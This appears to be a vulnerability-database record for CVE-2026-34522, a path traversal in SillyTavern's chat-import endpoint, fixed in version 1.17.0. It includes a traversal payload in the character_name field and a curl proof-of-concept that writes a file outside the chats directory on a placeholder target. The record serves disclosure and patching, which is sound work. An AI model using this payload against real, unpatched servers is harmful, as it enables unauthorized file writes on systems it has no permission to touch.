{"id":"CVE-2026-34522","aliases":["GHSA-xvww-xhx6-22pf"],"url":"https://o3.security/vulnerability/CVE-2026-34522","summary":"SillyTavern: Path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory","details":"### Summary\nA path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`.\n\n### Details\n`character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization.\n\nEvidence:\n- Import handler entrypoint:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686>\n- Unsanitized `character_name` used in output filename:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723>\n- Same write pattern in JSONL import branch:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766>\n- Endpoint auth context (authenticated user access):  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239>\n\nExample payload:\n- `character_name=../../../../tmp/st_poc`\n\nThis causes the final destination path to escape from `<user>/chats/<avatar>/...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account).\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nPrepare payload:\n\n```bash\nprintf '{\"user_name\":\"u\",\"chat_metadata\":{}}\\n{\"name\":\"u\",\"mes\":\"owned\"}\\n' >/tmp/poc.jsonl\n```\n\nTrigger arbitrary write:\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" \\\n  -F \"avatar=@/tmp/poc.jsonl\" \\\n  -F \"file_type=jsonl\" \\\n  -F \"avatar_url=a.png\" \\\n  -F \"character_name=../../../../tmp/st_poc\" \\\n  -F \"user_name=u\" \\\n  http://TARGET:8000/api/chats/import\n```\n\nObserved result:\n- A file is created outside chats directory, for example:  \n  `/tmp/st_poc - <timestamp> imported.jsonl`\n\n### Impact\n- Integrity: attacker can create files in unintended filesystem locations.\n- Availability: can be used for disk abuse and disruptive file placement.\n- Can become more severe when chained with other local processing behaviors.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0","published":"2026-04-02T17:13:44.322Z","modified":"2026-08-12T03:51:32.482372947Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},"epss":{"score":0.0041,"percentile":0.33621,"asOf":"2026-07-29"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"sillytavern","fixedVersion":"1.17.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34522.json"},{"type":"ADVISORY","url":"https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xvww-xhx6-22pf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34522"},{"type":"PACKAGE","url":"https://github.com/SillyTavern/SillyTavern"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:32.482372947Z"}}